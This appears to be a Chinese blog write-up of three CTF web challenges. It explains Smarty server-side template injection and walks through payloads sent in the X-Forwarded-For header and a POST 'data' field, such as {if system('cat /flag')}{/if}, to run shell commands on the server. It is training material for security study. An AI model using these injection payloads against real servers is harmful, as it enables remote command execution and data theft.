当前位置: 首页 > news >正文

NSSCTF-Web题目14

目录

[CISCN 2019华东南]Web11和[NISACTF 2022]midlevel

1、题目

2、知识点

3、思路

[HDCTF 2023]SearchMaster

1、题目

2、知识点

3、思路


[CISCN 2019华东南]Web11和[NISACTF 2022]midlevel

这两道题目一样

1、题目

2、知识点

SSTI(服务端模板注入漏洞)、smarty

SSTI(服务端模板注入漏洞)

原理:开发者使用模板进行开发,例如smarty,Django等,在开发过程中,没有将模板语句与数据进行分离,也就是前端的内容会传到服务器进行执行,所以导致攻击者可以利用开发模板的特性进行入侵,可以执行系统命令,Getshell等

smarty是PHP语言的一个开发模板,这个模板也存在很多漏洞,大家可以自行百度

不同开发模版的语法也不一样,那么怎么判断他们是属于哪一种呢?

可以参考下面这一张图

3、思路

打开题目,我们可以看到提示我们使用的是Smarty,跟XFF有关,我们可以在XFF构造payload

X-Forwarded-For:{php}phpinfo(){/php}

结果报错了,可能是版本的原因,查一下当前的smarty的版本

X-Forwarded-For:{$smarty.version}

当前版本是3.1.30,报错的原因是因为目前的版本应该弃用{php}{/php}这一标签了

但是还有一个{if}{/if}标签,这个{if}标签跟原来的php语言区别是每一个{if}后面都要有{/if}配成一对

X-Forwarded-For:{if phpinfo()}{/if}

结果正常回显,我们构造系统执行命令

X-Forwarded-For:{if system('cat /flag')}{/if}

得到flag:NSSCTF{a7574cb4-65a0-4447-873b-465b370e56a3}


[HDCTF 2023]SearchMaster

1、题目

2、知识点

这一题的知识点跟上面的一样,SSTI、Smarty

3、思路

打开题目,有个黄色按钮,跳转页面

但这个flag是错误的

另外提示要我们POST上传一个数据data,但没有明确告诉我们变量名是什么,我们猜一下变量名是data,但下一步怎么做呢?好像又无从下手

根据题目标签,跟SSTI、Smarty有关,我们测试一下

说明变量名为data,且为Smarty模板,这里测试的方法就是根据下面这张图的,不同模板的语法不一样

知道是Smarty,就好办了,

data={php}phpinfo();{/php}

{php}标签报错,那我们使用{if}标签

data={if phpinfo()}{/if}

正常执行,我们构造系统执行命令

data={if system('ls /')}{/if}

查看flag_13_searchmaster文件

data={if system('cat /flag_13_searchmaster')}{/if}

得到flag:NSSCTF{df69cb3b-f72e-4cb2-9da2-4e0b46cb4c73}


这篇文章就先记录到这里了,哪里不懂的或者哪里不好的欢迎指出

相关文章:

  • 前端 JS 经典:通用性函数封装思路
  • 常见的创建型设计模式( 一 )
  • 数据结构之探索“队列”的奥秘
  • vue elementui table给表格中满足条件的每一条记录添加计时器
  • 低代码平台框架:开源选型、实践与应用深度解析
  • C++拷贝构造函数、运算符重载函数、赋值运算符重载函数、前置++和后置++重载等的介绍
  • ThreadLocal的原理
  • 深入浅出简单工厂模式及其在 Spring 框架中的应用
  • 【专业英语 复习】第9章 Privacy, Security,and Ethics
  • 【Flask】学习
  • 丰臣秀吉-读书笔记六
  • 沙奇里再造世界波,容声注定与经典结缘
  • 如何验证证书的合法性
  • MaxWell实时监控Mysql并把数据写入到Kafka主题中
  • Linux下VSCode的安装和基本使用
  • 【挥舞JS】JS实现继承,封装一个extends方法
  • 2018以太坊智能合约编程语言solidity的最佳IDEs
  • CAP 一致性协议及应用解析
  • iOS高仿微信项目、阴影圆角渐变色效果、卡片动画、波浪动画、路由框架等源码...
  • javascript 哈希表
  • markdown编辑器简评
  • MySQL QA
  • NLPIR语义挖掘平台推动行业大数据应用服务
  • RedisSerializer之JdkSerializationRedisSerializer分析
  • 深入浏览器事件循环的本质
  • 数据结构java版之冒泡排序及优化
  • 文本多行溢出显示...之最后一行不到行尾的解决
  • 一个SAP顾问在美国的这些年
  • zabbix3.2监控linux磁盘IO
  • 完善智慧办公建设,小熊U租获京东数千万元A+轮融资 ...
  • 新年再起“裁员潮”,“钢铁侠”马斯克要一举裁掉SpaceX 600余名员工 ...
  • ​ 无限可能性的探索:Amazon Lightsail轻量应用服务器引领数字化时代创新发展
  • # 利刃出鞘_Tomcat 核心原理解析(二)
  • # 深度解析 Socket 与 WebSocket:原理、区别与应用
  • # 详解 JS 中的事件循环、宏/微任务、Primise对象、定时器函数,以及其在工作中的应用和注意事项
  • (1)(1.13) SiK无线电高级配置(六)
  • (C#)Windows Shell 外壳编程系列9 - QueryInfo 扩展提示
  • (C++17) optional的使用
  • (pt可视化)利用torch的make_grid进行张量可视化
  • (Redis使用系列) Springboot 在redis中使用BloomFilter布隆过滤器机制 六
  • (阿里云在线播放)基于SpringBoot+Vue前后端分离的在线教育平台项目
  • (附源码)springboot优课在线教学系统 毕业设计 081251
  • (附源码)ssm考试题库管理系统 毕业设计 069043
  • (函数)颠倒字符串顺序(C语言)
  • (紀錄)[ASP.NET MVC][jQuery]-2 純手工打造屬於自己的 jQuery GridView (含完整程式碼下載)...
  • (论文阅读30/100)Convolutional Pose Machines
  • (七)微服务分布式云架构spring cloud - common-service 项目构建过程
  • (三)Pytorch快速搭建卷积神经网络模型实现手写数字识别(代码+详细注解)
  • (十七)devops持续集成开发——使用jenkins流水线pipeline方式发布一个微服务项目
  • (自用)网络编程
  • *p=a是把a的值赋给p,p=a是把a的地址赋给p。
  • .[backups@airmail.cc].faust勒索病毒的最新威胁:如何恢复您的数据?
  • .NET Core WebAPI中封装Swagger配置
  • .Net Remoting常用部署结构
  • .net安装_还在用第三方安装.NET?Win10自带.NET3.5安装